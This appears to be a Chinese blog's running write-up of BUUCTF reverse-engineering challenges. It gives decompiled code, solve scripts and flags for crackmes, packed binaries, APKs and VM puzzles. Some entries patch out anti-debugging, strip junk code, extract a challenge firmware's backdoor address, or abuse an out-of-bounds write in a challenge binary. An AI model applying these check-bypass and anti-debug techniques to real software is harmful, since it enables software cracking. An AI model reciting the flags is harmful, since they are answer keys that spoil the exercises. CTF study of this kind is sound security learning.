BUUOJ 题库练习
简介
是北京联合大学的一个平台,题目有在更新,但是个人感觉题目难度很迷,不过是动态积分的方式,难度也可以看出来就是了。
Write Up持续更新, 有空就刷, 希望有一天能够刷穿题库
练习平台:BUUCTF
Reverse
easyre
IDA打开,main函数:
int __cdecl main(int argc, const char **argv, const char **envp) |
helloword
jeb3打开,MainActivity:
.method protected onCreate(Bundle)V |
reverse1
IDA打开,追踪字符串到主要函数:
__int64 sub_1400118C0() |
查看Str2:
.data:000000014001C000 Str2 db '{hello_world}',0 |
flag{hello_world}
reverse2
IDA打开,主函数:
int __cdecl main(int argc, const char **argv, const char **envp) |
查看flag:
.data:0000000000601080 flag db '{' ; DATA XREF: main+34↑r |
由于前面:
for ( i = 0; i <= strlen(flag); ++i ) |
so,最终flag为:
flag{hack1ng_fo1_fun}
刮开有奖
IDA打开,查看字符串发现base64 table表
.rdata:00407830 byte_407830 db 41h ; DATA XREF: sub_401000+C0↑r |
整理一下:
.rdata:00407830 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' |
追到判断函数,根据经验修改类型和大小:
BOOL __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4) |
sub_4010F0(key, 0, 10):
int __cdecl sub_4010F0(int *a1, int a2, int num_10) |
研究一下就会发现是个从小到大的排序。
则解密脚本如下:
import base64 |
flag{UJWP1jMp}
rsa
打开来两个文件,公钥密文都有,解密脚本如下:
from Crypto.PublicKey import RSA |
flag{decrypt_256}
参考:
CrackRTF
IDA打开,追踪字符串到主要函数:
int main_0() |
输入两次验证flag。
第一次
hash值在线爆破,直接得第一部分123321,进入第二部分
D:\CTF\Games\Exam\BUUCTF\CrackRTF>CrackRTF.exe |
第二次
无法爆破,观察到sub_40100F函数中:
char __cdecl sub_4014D0(LPCSTR lpString) |
会生成一个dbapp.rtf文件。
随便输入123321得,此处用010editor打开:
在生成文件前sub_401005进行了异或操作:
unsigned int __cdecl sub_401420(LPCSTR lpString, int a2, int a3) |
则可以逆解出异或因子:
s = [0x34,0x4f,0x72,0x26,0x14,0x30,0x5c,0x61,0x6e,0x73,0x69,0x5c,0x61,0x6e,0x73,0x69,0x63,0x70,0x28,0x2a,0x33,0x64,0x2e,0x65,0x65,0x66,0x66,0x30,0x5c,0x64,0x65,0x66,0x6c,0x61,0x6e,0x67,0x7e,0x23,0x33,0x61,0x2e,0x65,0x65,0x66,0x6c,0x61,0x6e,0x67,0x66,0x65,0x32,0x30,0x35,0x32,0x34,0x4f,0x66,0x3d,0x1c,0x75,0x74,0x62,0x6c,0x7b,0x5c,0x66,0x30,0x5c,0x66,0x6d,0x6f,0x64,0x2a,0x61,0x6e,0x0e,0x14,0x71,0x72,0x71,0x36,0x5c,0x66,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x7e,0x20,0x34,0x72,0x2e,0x26,0x63,0x62,0x5c,0x27,0x63,0x65,0x5c,0x27,0x63,0x63,0x5c,0x27,0x2a,0x26,0x3b,0x2f,0x0f,0x0c,0x0a,0x7b,0x5c,0x2a,0x5c,0x67,0x65,0x6e,0x65,0x72,0x61,0x74,0x20,0x61,0x20,0x1f,0x01,0x67,0x74,0x65,0x64,0x69,0x74,0x20,0x35,0x2e,0x34,0x31,0x2e,0x31,0x7a,0x3d,0x31,0x67,0x43,0x34,0x3b,0x7d,0x5c,0x76,0x69,0x65,0x77,0x6b,0x69,0x6e,0x64,0x34,0x13,0x66,0x63,0x63,0x2e,0x71,0x61,0x72,0x64,0x5c,0x6c,0x61,0x6e,0x67,0x32,0x30,0x35,0x32,0x13,0x75,0x30,0x0e,0x14,0x72,0x32,0x30,0x20,0x46,0x6c,0x61,0x67,0x5c,0x7b,0x4e,0x30,0x5f,0x02,0x23,0x72,0x37,0x2d,0x47,0x72,0x65,0x65,0x5f,0x42,0x75,0x67,0x73,0x5c,0x7d,0x5c,0x70,0x2e,0x61,0x0d,0x58,0x0f,0x0c,0x0a,0x00] |
在本地新建RTF文件,可知文件头6位应该为”{\\rtf1“
,则可解出第二次输入的字符:
key = map(ord, "{\\rtf1") |
为:~!3a@0
输入得最终rtf文件,里面就有flag,为:
Flag{N0_M0re_Free_Bugs}(提交时要将F改为f
)
crackMe
解压得crackMe.exe,打开:
Come one! Crack Me~~~ |
user已经给出,为welcomebeijing
输入后:
password(6-16 letters or numbers): |
IDA打开,跟踪字符串到主要函数,根据经验稍做修改:
int __usercall wmain@<eax>(int a1@<ebx>) |
由调试分析得:
init_box函数会将user进行一波操作生成一个box用于后面的异或操作。
可以直接导出,但后面其实没必要用到。
init_print函数会初始化两个输出字符串,一个成功一个失败,但由于有异常花指令导致IDA无法识别为函数,根据分析,直接将异常nop掉就可以了
.text:003E11EA 0 nop |
接着就重要的check函数:
bool __cdecl check(char *user, const char *password) |
根据调试,输入的password会每两个为一组(第一个while就是在将输入转为两个为一组的十六进制字符),来与box中的特定位置的数异或,得到一组8个key,后进入check2进行验证,最终得到check_num == 43924
则成功。
check2:
_DWORD *__usercall check2@<eax>(int a1@<ebx>, _BYTE *key, _DWORD *a3) |
由分析可知,key应该为:key = [100, 98, 97, 112, 112, 115, 101, 99]
,即dbappsec
(本来key[5]可能值为115或102但前面由做过以dbappsec为密钥的题,便猜测为dbappsec)
接着,根据调试可知,xor函数是将key和user每位对应异或。
接着在调试中将box参与异或的位数提取出来,即可,但解出来本地输入就错误,故猜测下面这两处地方将异或操作进行了类似于反调试的操作,故将这两处直接nop掉
if ( *(_DWORD *)(__readfsdword(0x30u) + 104) & 0x70 ) |
if ( *(_DWORD *)(__readfsdword(0x30u) + 2) & 0xFF ) |
最终得到解密脚本:
key = [100, 98, 97, 112, 112, 115, 101, 99] |
得到:39d09ffa4cfcc4cc
本地输入不会出现Please try again
则猜测通过,但md532位小写hash加密后提交却不对,陷入自闭。
后用cmd打开crackMe.exe发现39d09ffa4cfcc4cc
是错误的!
故用cmd直接打开,用IDA attach上去调试,xor数组不变但原程序中xor函数中不执行异或操作,实际毫无效果。
因为调试直接跳过,就没有注意到下面会因为窗口的不同而不同,还是tcl…..
StartupInfo.dwX |
最终解密脚本为:
key = [100, 98, 97, 112, 112, 115, 101, 99] |
得到第二个密码4EB5F3992391A1AE
user(6-16 letters or numbers):welcomebeijing |
之后进行md5加密后提交,得正确flag:
flag{d2be2981b84f2a905669995873d6a36c}
findit
下载下来是个apk文件,就直接jeb打开,根据字符串找到主要函数:
protected void onCreate(Bundle arg8) { |
观察后发现解题方法有2:
1.逆推出输入
2.复现flag生成过程
我这里采用第2种,脚本如下:
flag = "pvkq{m164675262033l4m49lnp7p9mnk28k75}" |
得flag:
flag{c164675262033b4c49bdf7f9cda28a75}
新年快乐
IDA打开, UPX壳, 官方工具直接脱
重新打开,直接能看到flag
得flag:
flag{HappyNewYear!}
内涵的软件
IDA打开直接看到flag
得flag:
flag{49d3c93df25caad81232130f3d2ebfad}
xor
IDA打开,简单的异或题
python脚本:
s = [0x66, 0x0A, 0x6B, 0x0C, 0x77, 0x26, 0x4F, 0x2E, 0x40, 0x11, 0x78, 0x0D, 0x5A, 0x3B, 0x55, 0x11, 0x70, 0x19, 0x46, 0x1F, 0x76, 0x22, 0x4D, 0x23, 0x44, 0x0E, 0x67, 0x06, 0x68, 0x0F, 0x47, 0x32, 0x4F] |
得到flag:
flag{QianQiuWanDai_YiTongJiangHu}
reverse3
IDA打开简单的加密
import base64 |
得到flag:
flag{i_l0ve_you}
SimpleRev
WSL子系统运行不了,file
一下是ELF 64-bit LSB
程序
IDA打开,主要逻辑如下
unsigned __int64 Decry() |
爆破脚本:
text = bytearray(b"killshadow") |
得到flag
flag{KLDQCUDFZO}
不一样的flag
主逻辑在main中,根据经验,是一道典型的迷宫题
int __cdecl main(int argc, const char **argv, const char **envp) |
迷宫在_data_start__中:
.data:00402000 __data_start__ db '*', '1', '1', '1', '1' |
因为是小迷宫,手走一遍就可以了:222441144222
即flag:
flag{222441144222}
Java逆向解密
XJad直接打开
// Decompiled by Jad v1.5.8e2. Copyright 2001 Pavel Kouznetsov. |
主逻辑也很简单,将输入加上 64 ^ 0x20
,最后对比KEY
解密脚本:
key = [180, 136, 137, 147, 191, 137, 147, 191, 148, 136, |
得flag:
flag{This_is_the_flag_!}
简单注册机
用JEB 3打开,发现主要判断如下
这里有两种解法
- 直接构造输入
4b40000000000000000000000000000000a
,0
为任意字符,即可让app直接输出flag - 直接用python模拟flag生成流程
v5 = bytearray(b"dd2940c84462b4dd7c450528835cca15") |
得flag
flag{59acc538825054c7de4b26440c0999dd}
- 还是直接构造输入快….
[GXYCTF2019]luck_guy
IDA打开发现getflag()
函数
解密脚本:
f1 = "GXY{do_not_" |
换一下外包装,得flag:
flag{do_not_hate_me}
[ACTF新生赛2020]usualCrypt
换表base64 + 大小写转换
import base64, string |
[WUSTCTF2020]level1
简单加解密
data = [0, 198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000] |
[MRCTF2020]Transform
简单加密
data = [0x67, 0x79, 0x7B, 0x7F, 0x75, 0x2B, 0x3C, 0x52, 0x53, 0x79, 0x57, 0x5E, 0x5D, 0x42, 0x7B, 0x2D, 0x2A, 0x66, 0x42, 0x7E, 0x4C, 0x57, 0x79, 0x41, 0x6B, 0x7E, 0x65, 0x3C, 0x5C, 0x45, 0x6F, 0x62, 0x4D] |
相册
题目描述找邮箱,全局搜索mail, 找到MailTask
查看sendMailByJavaMail
, 可知发送目标地址为mailto
, 即第一个参数
跟随C2.MAILSERVER
, 可知调用的是native方法
解压, base64解码MTgyMTg0NjUxMjVAMTYzLmNvbQ==
得flag
[WUSTCTF2020]level2
upx直接脱壳即可
在汇编中看到flag
[HDCTF2019]Maze
解壳后走个8 * 10迷宫即可
.data:00408030 db '*******+**' |
flag{ssaaasaassdddw}
p.s. 由于没有校验,所以直接穿墙过也可以,只要满足步伐13就可以,例如ssaaasaassdwdd
[GWCTF 2019]xxor
if ( a1[2] - a1[3] == 2225223423LL |
z3直接解,得到
[3746099070, 550153460, 3774025685, 1548802262, 2652626477, 2230518816] |
后一个简单加密, 最终脚本如下
from z3 import * |
[MRCTF2020]Xor
简单异或加密
data = [0x4D, 0x53, 0x41, 0x57, 0x42, 0x7E, 0x46, 0x58, 0x5A, 0x3A, 0x4A, 0x3A, 0x60, 0x74, 0x51, 0x4A, 0x22, 0x4E, 0x40, 0x20, 0x62, 0x70, 0x64, 0x64, 0x7D, 0x38, 0x67] |
[FlareOn4]IgniteMe
简单异或加密
data = [ 13, 38, 73, 69, 42, 23, 120, 68, 43, 108, |
[MRCTF2020]hello_world_go
ida打开就看到flag
[WUSTCTF2020]level3
base64换表加密
import base64 |
[WUSTCTF2020]Cr0ssfun
angr直接解
import angr |
[BJDCTF2020]BJD hamburger competition
Unity写的,根据谷歌搜索到的Unity游戏逆向及破解方法介绍-腾讯游戏学堂 (qq.com)
我们将Assembly-CSharp.dll 拖进dnspy反编译,得到核心代码:
丢进sha1在线解密 在线加密 (ttmd5.com)解得1001, 根据Md5函数
public static string Md5(string str) |
得到flag
bpython version 0.20 on top of Python 3.6.9 /usr/local/bin/python3 |
[FlareOn6]Overlong
IDA打开后面还有东西,动调修改大小为0xb0
出flag
[ACTF新生赛2020]Oruga
迷宫题,迷宫为
00 00 00 00 23 00 00 00 00 00 00 00 23 23 23 23 |
到达 0x21处停止
W 向上 |
根据可知,0可以一直移动
while ( !data[v2] ) |
手动解得MEWEMEWJMEWJM
[FlareOn3]Challenge1
经典换表base64编码
import base64 |
[UTCTF2020]basic-re
看下汇编就出flag
[Zer0pts2020]easy strcmp
修改了strcmp, 实际先进行了一点操作
__int64 __fastcall sub_55E12AB7F6EA(__int64 a1, __int64 a2) |
解密脚本如下:
data = b"zer0pts{********CENSORED********" |
[ACTF新生赛2020]Universe_final_answer
z3直接解
from z3 import * |
输入得flag
➜ tmp ./UniverseFinalAnswer |
firmware
binwalk固件提取, 后用firmware-mod-kit分析
➜ firmware-mod-kit-master ./unsquashfs_all.sh 120200.squashfs |
提取出来后,在tmp中找到backdoor, upx解壳,开始找网址:端口
得到echo.byethost51.com:36667
则flag:
➜ tmp bpython3 |
[WUSTCTF2020]level4
根据提示,可知程序生成一个二叉树,并输出中序遍历、后序遍历。则应求先序遍历。
由已知得节点结构如下:
00000000 node struc ; (sizeof=0x18, mappedto_8) |
修改一下得二叉树结构
则解密脚本如下:
data = "I{_}Af2700ih_secTS2Et_wr" |
[网鼎杯 2020 青龙组]singal
[GUET-CTF2019]number_game
一个明显的5 * 5的数独游戏,用z3直接解, 得到中序遍历后的序列。
动态调试,跳过格式校验后,得到位置对应关系
0123456789 |
则逆推得到flag
from z3 import * |
[GXYCTF2019]simple CPP
分为三部分
第一部分
输入异或加密
do |
第二部分
转为64位整数
do |
第三部分
一堆运算后进行校验
v38 = x[2]; |
解密
用z3直接暴力解,发现多解,搜wp发现比赛当时主办方给了提示,差不多是flag[8:16] == 'e!P0or_a'
from z3 import * |
findKey
通过字符串找到核心代码(偏移0x1640),花指令nop即可
从后往前,先异或得到最后对比的值
s = b"0kk`d1a`55k222k2a776jbfgd`06cjjb" |
根据所查,该函数为求得md5值
则通过md5在线解密破解,md5解密加密 (cmd5.com)得到123321
查交叉引用,可知String1在sub_401B20函数赋值
int __stdcall sub_401B20(HWND hDlg, int a2, int a3, int a4) |
将0x110 0x111 等数字
丢进谷歌所搜,找到AHK的OnMessage - zhanglei1371 - 博客园 (cnblogs.com),则有
WM_LBUTTONUP 0x202 |
根据WM_LBUTTONDOWN_百度百科 (baidu.com)知道WM_LBUTTONDOWN是一个Windows消息,该消息当用户在window客户区域点击鼠标左键的时候发送。则我们根据已知可知我们需要在特定区域点击
左 中 右 右 中 左 |
根据题目猜测是在Help => About
弹出的区域进行点击,后得到flag
[GWCTF 2019]re3
代码自修改, 密钥生成直接动调过,原AES加密
from Crypto.Cipher import AES |
特殊的 BASE64
c++, 没有去符号表
base64换表加密
s = b'mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI==' |
[FlareOn5]Minesweeper Championship Registration
jadx打开看到flag
[网鼎杯 2020 青龙组]jocker
[ACTF新生赛2020]SoulLike
直接angr
import angr |
[2019红帽杯]xx
[FlareOn5]Ultimate Minesweeper
.Net 用 dnspy, 主要flag生成函数在下图中的SucessPopup中
其中
private void SquareRevealedCallback(uint column, uint row) |
而 BombRevealed 实现如下, 通过变量名知道通过MinesVisible来判断是否显示
public bool BombRevealed |
找到打印函数,将显示直接修改为true, 保存
将所有全部打印出来,点下那三个8得到flag
[FlareOn1]Bob Doge
加压得到一个C1.exe程序,双击解压出一个Challenge1.exe
动调直接拿到flag
p.s. 题目描述的密码用来干什么的?
[MRCTF2020]PixelShooter
Unity游戏,解压找Assembly-CSharp.dl, dnspy打开,在UIContoller找到flag
equation
jsf**k编码
拿正则表达式解码
function deEquation(str) { |
再z3解密即可
from z3 import * |
[2019红帽杯]childRE
[SWPU2019]ReverseMe
先与SWPU_2019_CTF
异或
后进入encode函数,相当复杂,但实际跟进去也是个异或,动调提取xor数据以及最终对比数据
xor_data1 = b"SWPU_2019_CTF" |
[安洵杯_2019]crackMe
通过SEH, VEH异常处理进行加密、编码
通过查看交叉引用可知整个流程为
输入flag后,进行base64table变换
int __stdcall sub_D02AB0(int a1, int a2, int a3, int a4) |
然后进行Handler中的SM4解密
int __stdcall Handler_0(_DWORD **a1) |
后将最终对比的数据进行处理, 然后变种base64处理
int __cdecl sub_D02C30(_DWORD *a1) |
变种位置在=变!
, 以及整个表的右移24
int __cdecl sub_D02760(int a1) |
则解密如下
table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" |
[CFI-CTF 2018]IntroToPE
.Net 用 dnspy , base64直接解‘
➜ tmp bpython3 |
[羊城杯 2020]easyre
三部分, encode_one为base64, encode_tow换个位置,encode_three凯撒密码
def decode_one(s): |
[WUSTCTF2020]funnyre
花指令直接拿脚本去掉
bg = 0x00000000004005B0 |
apply patch后打开发现是简单运算后对比, 直接angr暴力解
import angr |
[RoarCTF2019]polyre
Ollvm + 不透明谓词 + 整数溢出
先去平坦化 https://github.com/cq674350529/deflat后去不透明谓词
流程如下
v10 = 0; |
将我们的输入数据转为有符号int64的v4
执行一个64次的循环, 循环内先判断v4的正负
v4 > 0 则 v4 << 1 |
我们无法判断左移前是正数还是负数,但注意到v4 << 1
为偶数, (v4 << 1) ^ 0xB0004B7679FA26B3
为奇数,则解密如下
s = [0xBC8FF26D43536296, 0x520100780530EE16, 0x4DC0B5EA935F08EC, 0x342B90AFD853F450, 0x8B250EBCAA2C3681, 0x55759F81A2C68AE4] |
[羊城杯 2020]login
py打包的exe,extremecoders-re/pyinstxtractor: PyInstaller Extractor (github.com)解包
uncomplye6 反编译, z3求解
from z3 import * |
[NPUCTF2020]你好sao啊
base64换表解密, 则我们先加密后替换即可
import struct |
[UTCTF2020]babymips
IDA32打开,异或加密
data = [0x62, 0x6C, 0x7F, 0x76, 0x7A, 0x7B, 0x66, 0x73, 0x76, 0x50, 0x52, 0x7D, 0x40, 0x54, 0x55, 0x79, 0x40, 0x49, 0x47, 0x4D, 0x74, 0x19, 0x7B, 0x6A, 0x42, 0x0A, 0x4F, 0x52, 0x7D, 0x69, 0x4F, 0x53, 0x0C, 0x64, 0x10, 0x0F, 0x1E, 0x4A, 0x67, 0x03, 0x7C, 0x67, 0x02, 0x6A, 0x31, 0x67, 0x61, 0x37, 0x7A, 0x62, 0x2C, 0x2C, 0x0F, 0x6E, 0x17, 0x00, 0x16, 0x0F, 0x16, 0x0A, 0x6D, 0x62, 0x73, 0x25, 0x39, 0x76, 0x2E, 0x1C, 0x63, 0x78, 0x2B, 0x74, 0x32, 0x16, 0x20, 0x22, 0x44, 0x19] |
[安洵杯 2019]game
ollvm + 数独, 先用deflat.py 去混淆
主函数中,对输入进行操作的如下图所示
其他的可以动调得
check1主要加密逻辑分三步,第一步时把输入的前半与后半进行交换,第二步是两位两位交换,第三步是一个比较复杂的异或操作,直接z3即可。
check3中主要校验为check2
则动调得到最终的sudoku, 通过对比得到v9再还原回去即可
sudoku = [0x00000001, 0x00000004, 0x00000005, 0x00000003, 0x00000002, 0x00000007, 0x00000006, 0x00000009, 0x00000008, 0x00000008, 0x00000003, 0x00000009, 0x00000006, 0x00000005, 0x00000004, 0x00000001, 0x00000002, 0x00000007, 0x00000006, 0x00000007, 0x00000002, 0x00000008, 0x00000001, 0x00000009, 0x00000005, 0x00000004, 0x00000003, 0x00000004, 0x00000009, 0x00000006, 0x00000001, 0x00000008, 0x00000005, 0x00000003, 0x00000007, 0x00000002, 0x00000002, 0x00000001, 0x00000008, 0x00000004, 0x00000007, 0x00000003, 0x00000009, 0x00000005, 0x00000006, 0x00000007, 0x00000005, 0x00000003, 0x00000002, 0x00000009, 0x00000006, 0x00000004, 0x00000008, 0x00000001, 0x00000003, 0x00000006, 0x00000007, 0x00000005, 0x00000004, 0x00000002, 0x00000008, 0x00000001, 0x00000009, 0x00000009, 0x00000008, 0x00000004, 0x00000007, 0x00000006, 0x00000001, 0x00000002, 0x00000003, 0x00000005, 0x00000005, 0x00000002, 0x00000001, 0x00000009, 0x00000003, 0x00000008, 0x00000007, 0x00000006, 0x00000004] |
[GUET-CTF2019]encrypt
rc4加密和换表base64加密
rc4主要就是异或加密,动调将异或的数打印出来即可
这里下断点,其中edx即为异或的数据。写idapython脚本在断点处,将edx的值打印出来
import base64 |
[SCTF2019]babyre
存在花指令,用idapython去花
|
存在三关,第一关为三维迷宫 5 * 5 *5
用python打出来手走一遍
data = [0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x73, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2E, 0x2E, 0x23, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2E, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, 0x2A, 0x2E, 0x2A, 0x2E, 0x2A, 0x2A, 0x2E, 0x2A] |
第二关,一个编码函数,编码后等于sctf_9102
实际上就是base64
import base64 |
第三关,魔改SM4加密,对比数据丢进去就出了
fl4g_is_s0_ug1y! |
最终flag为: ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)
[WMCTF2020]easy_re
通过x64dbg动态调试,f9运行,f2下断点, 通过输出please input the flag:
来定位。
最后将perl脚本导出
$flag = "WMCTF{I_WAnt_dynam1c_F1ag}"; |
[2019红帽杯]Snake
[SCTF2019]Strange apk
jdax打开,程序会先对一个data文件进行异或操作,解压apk在 assets 文件夹下找到 data 文件
脚本还原
key = b"syclover" |
则可知该文件为apk文件, 丢进jadx
查看Manifest.xml可知activity为s和t函数
s函数
而f.sctf为base64
解码可以得到前12位flag
t函数
经过f.encode后等于~8t808_8A8n848r808i8d8-8w808r8l8d8}8
encode如上,直接将奇数位(从0开始)去掉即可
import base64 |
[SCTF2019]creakme
int __cdecl main(int argc, const char **argv, const char **envp) |
SMC后的代码主要是对对比字符串进行操作,操作如下
unsigned int sub_404000() |
最后得到nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo=
接着就是一个CBC模式的AES
void *__fastcall aes_cbc(void *a1, int a2) |
解密脚本如下:
from Crypto.Cipher import AES |
[GKCTF 2021]QQQQT
反编译后base58 解密
[SCTF2019]Who is he
Unity逆向,主要看Assembly-CSharp.dll
, DES解密,
public void OnClick() |
由于Encoding.GetEncoding("utf-8").GetBytes
故密钥每个字符后面要补上\x00
, 解得假flag
from Crypto.Cipher import DES |
动态调试程序,根据传参规则,在栈中找到两个参数
在返回值处下断,不断调试跟踪,找到
此处有个跳转,该跳转就是跳到错误提示的地方,如果不调转则会输出正确输出,则断在call r11
,进去后根据传参规则,查看rdi
就是我们的输入,rsi
则是对比的flag
得到flag
[FlareOn2]very_success
ida32打开, 根据字符串搜索找到主要函数
// positive sp value has been detected, the output may be wrong! |
其中sub_401084函数为check函数
// positive sp value has been detected, the output may be wrong! |
则可知flag长度大于等于37, v7为对比的数据,从后往前check,动调,发现为start
往下
对输入的数据加密如下,只不过反编译出来有些奇怪。其中sum
从0开始,每次加上计算后的数,即本次对比的数据
(input ^ 0xC7) + (1 << (sum & 3)) + 1 |
则解密脚本为
d = [0xAF, 0xAA, 0xAD, 0xEB, 0xAE, 0xAA, 0xEC, 0xA4, 0xBA, 0xAF, 0xAE, 0xAA, 0x8A, 0xC0, 0xA7, 0xB0, 0xBC, 0x9A, 0xBA, 0xA5, 0xA5, 0xBA, 0xAF, 0xB8, 0x9D, 0xB8, 0xF9, 0xAE, 0x9D, 0xAB, 0xB4, 0xBC, 0xB6, 0xB3, 0x90, 0x9A, 0xA8][::-1] |
[CISCN2018]2ex
MIPS32, IDA打开,找到主要函数
int sub_400788() |
导出新表,解得flag
import base64 |
[watevrCTF 2019]Timeout
ida打开,本题有两种做法
No.1
int __cdecl main(int argc, const char **argv, const char **envp) |
主函数,根据can_continue
查引用,找到generate
函数,直接得到flag
No.2
patchgenerate
函数判断条件,然后再main函数开头直接跳到generate
函数
[网鼎杯 2020 青龙组]bang
Dig the way
主函数
int __cdecl main(int argc, const char **argv, const char **envp) |
从data中读入数据,其中下述代码用于获得文件读入数据的长度
fseek(v14, 0, 2); |
而这串读入代码有栈溢出的风险,即越界写
for ( i = 0; i < v12; ++i ) |
接下来研究3个函数
fun0
int __cdecl func0(void *a1, int a2, int a3) |
将a1 + a2
与 a1 + a3
处的数据进行交换
fun1
unsigned int __cdecl func1(_DWORD *a1, int a2, int a3) |
即|x1 + x2| - |x1| - |x2| + 2
fun2
unsigned int __cdecl func2(_DWORD *a1, int a2, int a3) |
即|x1| + |x2| - |x1 + x2| + 2
解题思路
我们的目标是使其输出flag, 即v8为0
if ( v8 ) |
而调用函数的循环中, 刚好溢出了一位
i = 0; |
即我们需要让最后一位得到的函数返回值为0, 但fun2
的值必正值,fun1
才有可能是0值。
则我们可以利用fun0
的交换,将fun1
与fun2
函数指针进行交换,并设计读入的值使fun2
返回值为0
则我们需要构造如下输入
其中07 00 00 00
和08 00 00 00
为读入的v9
和v10
的值(小端序), 这样就可以使得v7 [7]
为fun1
和v7[8]
为fun2
并在调用fun0
时使其交换, 返回值为0
, 给到v7[1]
在第二次函数调用fun2
时,传入参数为v7, 1, 2
,即|v7[1]| + |v7[2]| - |v7[1] + v7[2]| + 2
,由于v7[1] == 0
, 故算得返回值2
给到v7[2]
,
在最后一次函数调用fun3
时, 传入参数为v7, 2, 3
, 即|v7[2] + v8| - |v8| - |v7[2]| + 2
,则v8
的值需要为-1
才能使计算结果为0
即构造输入FF FF FF FF
,为读入的v8
的值,得到上述文件
运行得到flag
[MRCTF2020]EasyCpp
分析如下
其中对比的数据需要动调得到, 解题脚本如下
import hashlib |
[SUCTF2018]babyre
ida打开得到主要逻辑,输入key会计算出flag, 则直接爆破即可
def decode(key): |
[HDCTF2019]MFC
xspy探查控件,发现有一个消息并不是以宏的形式出现, 以及后面这一大串奇怪的字符串
写个程序向MFC程序发送这个消息即可
|
编译运行,发现窗口发生变化
结合上面,解密得到flag
from Crypto.Cipher import DES |
[羊城杯 2020]Bytecode
首先初始化了,常量en数组和ouput数组,然后对输入的flag进行四步计算
- len(flag) >= 38
- ((((flag[0] * 2020+ flag[1]) * 2020 + flag[2]) * 2020 + flag[3]) * 2020 + flag[4]) == 1182843538814603, 这一步循环除以2020求商和余数即可, 实际上就是
GWHT{
- flag[5:32]与en数组进行异或加密 => x, 判断x == output
- flag[-7:-2] 用六组方程进行判断, 这一步可以用z3解
则解密脚本如下
flag = b"GWHT{" |
[ACTF新生赛2020]Splendid_MineCraft
ida打开发现主要函数伪c代码如下
int __cdecl main(int argc, const char **argv, const char **envp) |
其中strtok
函数根据strtok - C++ Reference (cplusplus.com), 可知flag大致格式为
ACTF{??????_??????_??????} |
动调进入dword_3851D8
处的smc, 得到函数
BOOL __cdecl sub_3851FC(char *a1) |
写脚本得到第一部分flag: yOu0y*
继续动调, 进入第二部分smc, 其中前面一大段全是将flag存放到某个位置, 关键代码如下
.data:00385158 cmp edi, 6 |
loc_385185: ; CODE XREF: .data:0038517B↑j |
该部分大致算法如下, 其中table为以eax
存放的值为首地址的256个字节
for i in range(6): |
则解密得到第二部分flagknowo3
第三部分flag校验比较简单,在主函数汇编内可以看到
push 6 ; MaxCount |
得到第三部分flag5mcsM<
则最终解密脚本如下:
flag = b"" |
[GWCTF 2019]babyvm
ida打开,根据分析可以得到如下结构体
00000000 VM struc ; (sizeof=0x88, mappedto_8) |
与主要函数
void __fastcall __noreturn main(int a1, char **a2, char **a3) |
其中init_VM
为
void __fastcall init_VM(VM *vm) |
则可写出脚本得到该虚拟机执行流程
from z3 import * |
得到假flag
根据提示,对memory
进行交叉引用查找找到一个根本没调用的函数
unsigned __int64 sub_F00() |
以及在opcodes下面又得到一串opcodes,
最终得到真flag解密脚本
opcodes = [0xF5, 0xF1, 0xE1, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x01, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x02, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x01, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x03, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x02, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x04, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x03, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x04, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x05, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x04, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x05, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x06, 0x00, 0x00, 0x00, 0xF2, 0xF1, 0xE4, 0x05, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE2, 0x07, 0x00, 0x00, 0x00, 0xF1, 0xE3, 0x08, 0x00, 0x00, 0x00, 0xF1, 0xE5, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0xF7, 0xF1, 0xE4, 0x06, 0x00, 0x00, 0x00, 0xF1, 0xE1, 0x07, 0x00, 0x00, 0x00, 